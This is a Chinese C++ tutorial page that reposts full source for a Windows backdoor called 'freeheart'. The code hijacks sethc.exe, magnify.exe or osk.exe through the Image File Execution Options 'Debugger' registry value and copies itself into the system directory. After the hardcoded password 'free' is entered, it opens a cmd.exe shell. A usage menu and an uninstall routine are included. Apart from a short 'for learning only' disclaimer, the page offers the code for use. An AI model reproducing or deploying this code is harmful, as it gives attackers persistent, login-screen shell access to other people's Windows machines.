• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >C语言 > C++映像劫持后门实例分析

C++映像劫持后门实例分析

作者:#a 字体:[增加 减小] 来源:互联网 时间:2017-05-28

#a 通过本文主要向大家介绍了c++串口通信实例,c++程序实例,c++项目开发实例,c++编程实例,c++实例等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

本文实例讲述了C++映像劫持后门的方法。分享给大家供大家参考。具体如下:

// freeheart.cpp : Defines the entry point for the console application.
//学习交流使用,违法使用后果自负。
// by:cnblogs.com/blogg time 2013.5.24
// argv 0 = freeheart.exe
// argv 1 = -i 
// argv 2 = name.exe
// argv 3 = 1 2 3
// 此程序使用的映像劫持技术,
// 在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
//
#include "stdafx.h"
#include "windows.h"
#include "atlbase.h"
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
void anzhuang(char *Path,char *filename);
void xiezai(char *path,char *hName);
void CopyZiji(char *CopyPath);
char *password = "free";   //真密码缓冲区
char *shuruPwd = "";    //输入的密码缓冲区
int errorbuff = 0;
char *PathBuff = "";  
char *FileName = "";
char *chsname = "sethc.exe"; //SHIFT粘贴键程序的名称
char *fangdajing = "magnify.exe"; //
char *pingmujianpan = "osk.exe"; //
LPTSTR sysbuff;   //得到系统路径的缓冲区
TCHAR tchBuffer2[1024];  //申请一个字符变量数组
sysbuff = tchBuffer2; //把系统的路径放到这个变量数组里
 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系统路径
 {
  sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系统路径的后面,然后放入系统缓冲区当中。 
 }
 if (argv[1] != NULL)
 {
  //安装命令判断
  if (strcmp(argv[1],"-i") == 0)
  {
   if (argv[2] != NULL)
   {
    FileName=argv[2];
   }
   else
   {
    cout<<"请输入文件名!";
    return 0;
   }
   if(argv[3] != NULL)
   {
    if(strcmp(argv[3],"1") == 0)
    {
     anzhuang(FileName,chsname);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); 
     cout<<"创建完成! : "<<PathBuff<<endl;
     return 0;
    }
     if(strcmp(argv[3],"2") == 0)
     {
     anzhuang(FileName,fangdajing);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); //调用函数
     cout<<"创建完成! : "<<PathBuff<<endl;
     return 0;
     }
      if(strcmp(argv[3],"3") == 0)
      {
      anzhuang(FileName,pingmujianpan);
      PathBuff = strcat(sysbuff,FileName);
      CopyZiji(PathBuff); //调用函数
      cout<<"创建完成! : "<<PathBuff<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"请输入参数!"<<endl;
       }
   return 0;
  }
//卸载
  if (strcmp(argv[1],"-u") == 0)
  {
   if(argv[2] != NULL)
   {
    if(strcmp(argv[2],"1") == 0)
    {
     xiezai(sysbuff,chsname);
     cout<<"删除文件成功!"<<endl;
     return 0;
    }
     if(strcmp(argv[2],"2") == 0)
     {
     xiezai(sysbuff,fangdajing);
     cout<<"删除文件成功!"<<endl;
     return 0;
     }
      if(strcmp(argv[2],"3") == 0)
      {
      xiezai(sysbuff,pingmujianpan);
      cout<<"删除文件成功!"<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"请输入参数!"<<endl;
       }
   return 0;
  }
      //为什么会进入这里 因为debugger a.exe 其实是两个参数,因为if (argv[1] != NULL) 也就是第二个参数不等于空的话执行下面的语句。
      while(errorbuff<3) //循环三次,错误。
       {
       cout<<"password:";
       cin>>shuruPwd;
        if (strcmp(shuruPwd,password) == 0)
        {
        system("cmd.exe");
        break;
        }
         else
         {
         cout<<"密码错误!"<<endl;
         }
         errorbuff++; //自加一次 
       }
       return 0;
 }
system("color a");
cout<<"-----------------------------------------------------"<<endl;
cout<<"欢迎光临自由的心,祝您好运!"<<endl;
cout<<"1: sethc.exe  Shift后门\n";
cout<<"2: magnify.exe 放大镜后门\n";
cout<<"3: osk.exe  屏幕键盘后门\n";
cout<<"-----------------------------------------------------"<<endl;
cout<<"安装: freeheart.exe -i xx.exe 1"<<endl;
cout<<"卸载: freeheart.exe -u 1"<<endl;
cout<<"连接密码:free"<<endl;
cout<<"-----------------------------------------------------"<<endl;
return 0;
}
//安装函数
void anzhuang(char *Path,char *filename)
{
 HKEY hSoftKey = NULL;
 HKEY hCompanyKey = NULL;
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
  if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)
  {
   LPBYTE Value=(LPBYTE)Path; 
   long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); 
   RegCloseKey(hCompanyKey);
  }
  RegCloseKey(hSoftKey);
 }
}
//卸载函数
void xiezai(char *path,char *hName) //hName 传递进来的程序名
{
 HKEY hSoftKey = NULL;
 LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; 
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
 DWORD len = 256;
 DWORD type = REG_SZ;
 LPBYTE last = new BYTE[256];
 LPCTSTR hname = (LPCTSTR)hName; 
 char *HHname;
 HKEY hKey;    //在注册表当中创建一个magnify名的项,在里面当中加入debugger,里面跟上自己的程序名的值。
 char* DelCom;
 HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注册表的路径
 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)
  {
   DelCom=strcat(path,reinterpret_cast <char*>(last));
   DeleteFile(DelCom); //删除文件
   RegDeleteKey(hSoftKey,hname); //删除注册表
  }
  RegCloseKey(hSoftKey); //关闭句柄
  RegCloseKey(hKey); //关闭句柄
 }
}
void CopyZiji(char *CopyPath) //将自身生成exe文件复制到指定的路径下
{
 char PathBuff[MAX_PATH]; //申请一个字符变量数组,大小是系统最大的长度。
 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一个参数为NULL,就表示获取当前程序的路径,第二个参数就是存放到缓冲区。
 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身复制到目标路径当中
}
</div>

希望本文所述对大家的C++程序设计有所帮助。

</div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • C++映像劫持后门实例分析
  • C++广播通信实例
  • C++之WSAAsyncSelect模型实例
  • C++封装IATHOOK类实例
  • C++判断pe文件实例
  • C++选择排序算法实例
  • C++冒泡排序算法实例
  • C++插入排序算法实例
  • C++虚函数表实例分析
  • C++实现位图排序实例

相关文章

  • 2017-05-28C++内存泄漏及检测工具详解
  • 2017-05-28C++实现将一个字符串中的字符替换成另一个字符串的方法
  • 2017-05-28c++制作的时间函数类
  • 2017-05-28C++ 遍历目录下文件简单实现实例
  • 2017-05-28VC小技巧汇总之控件技巧
  • 2017-05-28深入理解C++中变量的存储类别和属性
  • 2017-05-28深入分析父子线程、进程终止顺序不同产生的结果
  • 2017-05-28大数(高精度数)模板(分享)
  • 2017-05-28虚函数与纯虚函数(C++与Java虚函数的区别)的深入分析
  • 2017-05-28Linux中使用C语言的fork()函数创建子进程的实例教程

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • 使用Visual Studio 2010/2013编译V8引擎步骤分享
    • Cocos2d-x学习笔记之Hello World源码分析
    • 浅谈socket TCP编程中connect的一些坑
    • 从C++单例模式到线程安全详解
    • C语言将数组中元素的数排序输出的相关问题解决
    • 进程间通信之深入消息队列的详解
    • VC创建进程CreateProcess的方法
    • 头文件不宜定义变量的原因全面解析
    • C语言以数据块的形式读写文件实例代码
    • C语言编程中生成随机数的入门教程

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有